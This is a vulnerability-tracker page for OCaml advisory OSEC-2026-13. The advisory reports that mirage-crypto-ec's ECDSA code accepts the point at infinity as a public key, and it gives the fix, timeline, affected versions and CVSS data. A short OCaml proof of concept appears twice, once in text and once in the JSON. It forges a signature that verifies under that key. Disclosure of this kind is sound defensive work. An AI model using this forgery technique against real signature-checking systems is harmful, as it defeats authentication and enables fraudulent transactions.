osec-2026-13
Vulnerability from osv_ocaml
Published
2026-07-27 19:00
Modified
2026-07-27 19:00
Summary
ECDSA accepts the point at infinity as a P256, P384, P521 public key
Details
P256{,P384,P521}.Dsa.pub_of_octets accepts 0x00, the encoding of the point at infinity, as a public key. The Diffie-Hellman path rejects that point (point_of_octets); the ECDSA path skips the same check. Under such a key a signature can be forged with no private key, as the repro shows.
The same class is treated as high severity elsewhere. CVE-2022-21449 ("Psychic Signatures", OpenJDK) let a blank ECDSA signature verify, and CVE-2020-0601 ("CurveBall", Windows CryptoAPI) accepted a crafted ECC public key for certificate validation. Both are missing-validation forgeries on the same primitive.
Solution
Check for point at infinity in pub_of_octets.
Reproduction
module Dsa = Mirage_crypto_ec.P256.Dsa
(* 0x00 is the SEC1 encoding of the point at infinity A a signature using it can be forged for
any message with no private key. *)
let () =
Mirage_crypto_rng.(set_default_generator (create ~seed:"forge" (module Fortuna)));
let o_key = Result.get_ok (Dsa.pub_of_octets "\x00") in
let z = Digestif.SHA256.(to_raw_string (digest_string "transfer 1000eur to mallory")) in
let r, _ = Dsa.sign ~key:(Result.get_ok (Dsa.priv_of_octets z)) ~k:z z in
let s = String.make 31 '\000' ^ "\001" in
Printf.printf "0x00 accepted as a public key: %b\n" (Result.is_ok (Dsa.pub_of_octets "\x00"));
Printf.printf "forged (r, s=1) verifies under O: %b\n" (Dsa.verify ~key:o_key (r, s) z)
Timeline
- June 25th 2026: report to ocaml/security-advisories
- June 29th: acknowledgement of issue with several questions for the reporter
- July 6th: answers from reporter, including a patch
- July 27th: release of mirage-crypto 2.2.0 and security advisory
Severity
6.2 (Medium)
Credits
{
"affected": [
{
"ecosystem_specific": {
"opam_constraint": "mirage-crypto-ec {\u003c \"2.2.0\"}"
},
"package": {
"ecosystem": "opam",
"name": "mirage-crypto-ec",
"purl": "pkg:opam/mirage-crypto-ec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.0"
}
],
"type": "ECOSYSTEM"
},
{
"events": [
{
"introduced": "0"
},
{
"fixed": "ca84f5ee8ede80bd1dd2aa4cd7cc90197752184e"
}
],
"repo": "https://github.com/mirage/mirage-crypto.git",
"type": "GIT"
}
],
"versions": [
"0.9.0",
"0.9.1",
"0.9.2",
"0.10.0",
"0.10.1",
"0.10.2",
"0.10.3",
"0.10.4",
"0.10.5",
"0.10.6",
"0.10.7",
"0.11.0",
"0.11.1",
"0.11.2",
"0.11.3",
"1.0.0",
"1.1.0",
"1.2.0",
"2.0.0",
"2.0.1",
"2.0.2",
"2.0.3",
"2.1.0"
]
}
],
"credits": [
{
"name": "Thomas Gazagnaire",
"type": "REPORTER"
},
{
"name": "Thomas Gazagnaire",
"type": "REMEDIATION_DEVELOPER"
},
{
"name": "Hannes Mehnert",
"type": "REMEDIATION_REVIEWER"
}
],
"database_specific": {
"cwe": [
"CWE-295"
],
"human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-13.md",
"osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-13.json"
},
"details": "`P256{,P384,P521}.Dsa.pub_of_octets` accepts 0x00, the encoding of the point at infinity, as a public key. The Diffie-Hellman path rejects that point (`point_of_octets`); the ECDSA path skips the same check. Under such a key a signature can be forged with no private key, as the repro shows.\n\nThe same class is treated as high severity elsewhere. CVE-2022-21449 (\"Psychic Signatures\", OpenJDK) let a blank ECDSA signature verify, and CVE-2020-0601 (\"CurveBall\", Windows CryptoAPI) accepted a crafted ECC public key for certificate validation. Both are missing-validation forgeries on the same primitive.\n\n## Solution\n\nCheck for point at infinity in `pub_of_octets`.\n\n## Reproduction\n\n```OCaml\nmodule Dsa = Mirage_crypto_ec.P256.Dsa\n\n(* 0x00 is the SEC1 encoding of the point at infinity A a signature using it can be forged for\n any message with no private key. *)\nlet () =\n Mirage_crypto_rng.(set_default_generator (create ~seed:\"forge\" (module Fortuna)));\n let o_key = Result.get_ok (Dsa.pub_of_octets \"\\x00\") in\n let z = Digestif.SHA256.(to_raw_string (digest_string \"transfer 1000eur to mallory\")) in\n let r, _ = Dsa.sign ~key:(Result.get_ok (Dsa.priv_of_octets z)) ~k:z z in\n let s = String.make 31 \u0027\\000\u0027 ^ \"\\001\" in\n Printf.printf \"0x00 accepted as a public key: %b\\n\" (Result.is_ok (Dsa.pub_of_octets \"\\x00\"));\n Printf.printf \"forged (r, s=1) verifies under O: %b\\n\" (Dsa.verify ~key:o_key (r, s) z)\n```\n\n## Timeline\n\n- June 25th 2026: report to ocaml/security-advisories\n- June 29th: acknowledgement of issue with several questions for the reporter\n- July 6th: answers from reporter, including a patch\n- July 27th: release of mirage-crypto 2.2.0 and security advisory",
"id": "OSEC-2026-13",
"modified": "2026-07-27T19:00:00Z",
"published": "2026-07-27T19:00:00Z",
"references": [],
"schema_version": "1.7.4",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "ECDSA accepts the point at infinity as a P256, P384, P521 public key"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
Loading…
Loading…